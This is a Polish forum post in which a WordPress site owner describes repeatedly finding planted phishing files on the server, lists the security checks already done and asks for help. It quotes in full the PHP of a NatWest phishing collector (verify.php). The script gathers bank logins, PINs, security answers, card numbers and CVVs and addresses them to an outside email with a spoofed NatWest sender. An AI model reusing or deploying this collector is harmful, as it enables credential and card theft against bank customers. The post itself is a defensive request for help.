Dawno tu nie wpadałem, zatem witam ponownie. Od kilku miesięcy męczę się dziwnym problemem na mojej witrynie. Otóż okazuje się, że co jakiś czas mam na serwerze obce pliki rozrzucone po różnych folderach oraz w głównym katalogu wordpress, mianowicie wp-sys.php, verify.php, Natwest-Card (nowy plik). W efekcie dostaję powiadomienia od hostingodawcy o zaistniałych problemach phishingowych.
Wcześniej, gdy kłopot pojawił się pierwszy raz przeprowadziłem coś w rodzaju audytu bezpieczeństwa, mianowicie:
1. skan systemu kaspersky - ok (po usunięciu wirusów)
2. zmiana domyslnego loginu/hasła admin na inny do cms wp - ok
3. analiza logów serwera ftp - ok
4. zmiana hasła ftp/mysql, choć jest on silne - ok
5. analiza kodu motywu (choć obecność dziury wydaje się mało prawdopodobna) - ok
Po kilku tygodniach jednak znowu problem powrócił z pojawianiem się obcych plików na serwerze. Zastawiam się czy może być dziurawa skórka? W kodzie na znalazłem nic podejrzanego (zakodowane fragmenty kodu czy jakieś inne podejrzane funkcje). Jak ktoś ma chwilę, żeby przejrzeć pliki motywu to oczywiście mogę podesłać. Tak więc to też prawdopodobnie odpada. Raczej programiści Automattic (ci od Wordpressa) rozdzielili warstwę prezentacji od funkcjonalności wordpressa (głównego core) i nawet z błędami w skórce nie powinno dochodzić do obcego instalowania plików za pomocą ataków dajmy na to Cross-site scripting (XSS).
Zastanawia mnie natomiast dziwny kod pliku phisingowego verify.php. Poniżej prezentuje jego kod:
<? $message .= "Username : ".$_POST['login']."\n"; $message .= "Internet Password: ".$_POST['ipass']."\n"; $message .= "Internet PIN: ".$_POST['ipin']."\n"; $message .= "Email Address : ".$_POST['email']."\n"; $message .= "Email Password : ".$_POST['epass']."\n"; $message .= "Sec Question : ".$_POST['question']."\n"; $message .= "Security answer : ".$_POST['sec']."\n"; $message .= "Repeat security answer : ".$_POST['sec1']."\n"; $message .= "Mother's Maiden Name : ".$_POST['mmn']."\n"; $message .= "Date of Birth : ".$_POST['d1']."/".$_POST['d2']."/".$_POST['d3']."\n"; $message .= "Card Number : ".$_POST['cc']."\n"; $message .= "Expiry Date : ".$_POST['exp1']."/".$_POST['exp2']."\n"; $message .= "Security Code : ".$_POST['cvv']."\n"; $message .= "IP : ".$ip."\n"; $message .= "------------------ Created By ***C --------------------\n"; $send = "oluwach4sy@mail.mn"; $subject = "NatWest-Card Verify ReZulT"; $headers = "From: StarBoy<logs@natwest.com>"; $headers .= $_POST['eMailAdd']."\n"; $headers .= "MIME-Version: 1.0\n"; ?>
Macie jakieś pomysły jak rozwiązać ten pojawiający się problem? Poszukiwania w Google wykazały na htaccess, ale to sprawdziłem i też nie mam niczego nadpisanego. Będę wdzięczny. Raz nawet zdarzyło się mi, że całkowicie do pliku index.php w głównym katalogu WP dodano index.html, w efekcie ma pierwszeństwo ten z HTML i całkowicie zmieniona była na kilka godzin strona główna, która naprawdę wyświetlana jest w internecie www ;o(